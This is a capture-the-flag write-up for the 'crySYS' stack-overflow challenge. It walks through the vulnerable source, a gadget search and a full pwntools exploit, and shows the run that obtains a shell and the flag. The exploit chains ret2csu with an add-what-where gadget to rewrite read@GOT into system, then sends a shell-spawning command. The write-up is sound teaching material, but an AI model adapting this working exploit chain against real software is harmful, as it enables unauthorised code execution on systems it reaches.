Summary: A minimal binary with only the read libc function and containing a standard stack overflow can be exploited by leveraging a common add-what-where gadget to adjust GOT entries. This removes the requirement for memory leaks. Additionally, the ret2dlresolve technique was investigated but exploitation requires a missing write-at-an-offset gadget.
Challenge Prompt
Attachment: challenge file
Solution
Extracting the zip file shows that we have the following files:
$ unzip -l cbd2d300-dc64-4aae-8d51-671a6d0e5b5f.zip
Archive: cbd2d300-dc64-4aae-8d51-671a6d0e5b5f.zip
Length Date Time Name
--------- ---------- ----- ----
276 10-16-2020 17:59 crySYS.c
8272 10-16-2020 17:41 crySYS
170960 10-16-2020 17:41 ld-2.27.so
2030544 10-16-2020 17:41 libc-2.27.so
--------- -------
2210052 4 files
The source to the challenge is given as follows.
#include <stdio.h>
#include <unistd.h>
//gcc -o challenge -no-pie -fno-stack-protector challenges.c
//LD_PRELOAD=./libc-2.27.so ./ld-2.27.so ./challenge
int not_vulnerable(){
char buf[80];
return read(0, buf, 0x1000);
}
int main(){
not_vulnerable();
return 0;
}
This actually looks like a rip-off of the ret2dlresolve
sample in the Pwntools
documentation. Unfortunately, we cannot
use the technique in its original form since the binary uses huge pages.
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /vagrant/cyberpeace/crysys/crySYS
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /vagrant/cyberpeace/crysys/crySYS
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /vagrant/cyberpeace/crysys/crySYS
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd3000 0x0000000000000000 rw-
0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fea000 0x00007ffff7fec000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤
There is a way to exploit this scenario, however we need either a leak or a gadget to write at an offset to a dereferenced address. This is explored in this excellent author’s writeup for devnull-as-a-service from redpwnCTF 2021. However, the writeup also mentions an interesting well-known gadget that appears in GCC compiled binaries:
add dword ptr [rbp - 0x3d], ebx
This turns out to be present in crySYS
as well.
$ ROPgadget --binary crySYS | grep '\[rbp -'
0x00000000004004c8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
Since this is an add-what-where primitive, we can use this to simply add an offset to the resolved
read
libc address in the GOT such that it points to a useful function such as system
.
Additionally, we can use a second stage with read
to write an arbitrary string to execute in the
.bss
section. Putting this together yields the following script:
#!/usr/bin/env python
from pwn import *
from one_gadget import generate_one_gadget
# context.log_level = 'debug'
context.arch = 'amd64'
binary_path = "./crySYS"
libc_path = "./libc-2.27.so"
ld_path = "./ld-2.27.so"
# 0x00000000004004c8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
add_gadget = 0x00000000004004c8
def main():
# Start the process/make the connection.
# p = process([ld_path, binary_path], env={'LD_PRELOAD': libc_path})
p = remote("152.96.7.6", 1337)
# Calculate some useful values.
libc_elf = ELF(libc_path)
elf = ELF(binary_path)
read_got = elf.got['read']
libc_system = libc_elf.symbols['system']
libc_read = libc_elf.symbols['read']
log.info('system@libc: {}'.format(hex(libc_system)))
log.info('read@libc: {}'.format(hex(libc_read)))
system_offset = libc_system - libc_read
log.info('system offset in libc from read: {}'.format(hex(system_offset)))
system_offset = system_offset & 0xffffffffffffffff
log.info('Twos complement of this offset: {}'.format(hex(system_offset)))
# Determine a writable location.
binsh_addr = elf.bss() + 0x10
log.info('/bin/sh string Address: {}'.format(hex(binsh_addr)))
# Construct the chain to use the add-what-where gadget and ret2csu to modify read@got to system.
rop_chain = ROP(elf)
# Read the address of read_got to the writable address we control to write the command.
rop_chain.read(0, binsh_addr)
# Setup the registers for the add-what-where. rbp has to account for the -0x3d
rop_chain.ret2csu(edi=0xdeadbeef, rbx=system_offset, rbp=read_got + 0x3d)
# Trigger the add-what-where to transform read@got to system.
rop_chain.raw(add_gadget)
# Fix up the aligning with a ret.
rop_chain.raw(rop_chain.ret)
# Call our system()
rop_chain.read(binsh_addr)
log.info(rop_chain.dump())
# Send the first stage.
log.info("Sending the first stage.")
payload = flat({88: rop_chain.chain()}, filler=b'X')
p.send(payload)
# In the second stage, write the command we want to execute.
# Using just /bin/sh alone seems to end in a segfault after the first command so let's get a
# nicer shell.
log.info("Sending the second stage.")
command = b'/bin/sh -c "/bin/bash"\x00'
p.send(command)
# Obtain our shell.
log.success("Enjoy your shell!")
p.interactive()
if __name__ == '__main__':
main()
Running the script gives us the flag.
$ python exploit.py
[+] Opening connection to 152.96.7.6 on port 1337: Done
[*] '/vagrant/cyberpeace/crysys/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/vagrant/cyberpeace/crysys/crySYS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] system@libc: 0x4f440
[*] read@libc: 0x110070
[*] system offset in libc from read: -0xc0c30
[*] Twos complement of this offset: 0xfffffffffff3f3d0
[*] /bin/sh string Address: 0x601040
[*] Loaded 14 cached gadgets for './crySYS'
[*] 0x0000: 0x400583 pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x400581 pop rsi; pop r15; ret
0x0018: 0x601040 [arg1] rsi = 6295616
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x4003f0 read
0x0030: 0x40057a
0x0038: 0x0
0x0040: 0x1
0x0048: 0x600e48
0x0050: 0xdeadbeef
0x0058: b'waaaxaaa' rsi
0x0060: b'yaaazaab' rdx
0x0068: 0x400560
0x0070: b'daabeaab' <add rsp, 8>
0x0078: 0xfffffffffff3f3d0
0x0080: 0x601055
0x0088: b'jaabkaab' r12
0x0090: b'laabmaab' r13
0x0098: b'naaboaab' r14
0x00a0: b'paabqaab' r15
0x00a8: 0x4004c8
0x00b0: 0x4003de ret
0x00b8: 0x400583 pop rdi; ret
0x00c0: 0x601040 [arg0] rdi = 6295616
0x00c8: 0x4003f0 read
[*] Sending the first stage.
[*] Sending the second stage.
[+] Enjoy your shell!
[*] Switching to interactive mode
$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
$ uname -a
Linux 24ec36d4-ad5b-4eb5-8fcd-e00e61def718 3.10.0-1160.11.1.el7.x86_64 #1 SMP Fri Dec 18 16:34:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ ls -la
total 3144
drwxr-xr-x. 1 root root 185 Jan 4 2021 .
drwxr-xr-x. 1 root root 20 Jan 4 2021 ..
-rw-r--r--. 1 root root 220 Apr 4 2018 .bash_logout
-rw-r--r--. 1 root root 3771 Apr 4 2018 .bashrc
-rw-r--r--. 1 root root 807 Apr 4 2018 .profile
-rwxrwxr-x. 1 root root 8272 Oct 16 2020 crySYS
-rw-rw-r--. 1 root root 276 Oct 16 2020 crySYS.c
-rw-rw-r--. 1 root root 973583 Oct 16 2020 crysys.zip
-rw-rw-r--. 1 root root 39 Oct 16 2020 flag
-rwxrwxr-x. 1 root root 170960 Oct 16 2020 ld-2.27.so
-rw-rw-r--. 1 root root 2030544 Oct 16 2020 libc-2.27.so
-rwxrwxr-x. 1 root root 198 Oct 16 2020 run.sh
-rwxrwxr-x. 1 root root 100 Oct 16 2020 start.sh
$ cat flag
HL{PPPwned-7165-4679-8c39-cf7633bdf81b}$
Flag: HL{PPPwned-7165-4679-8c39-cf7633bdf81b}
Leave a Comment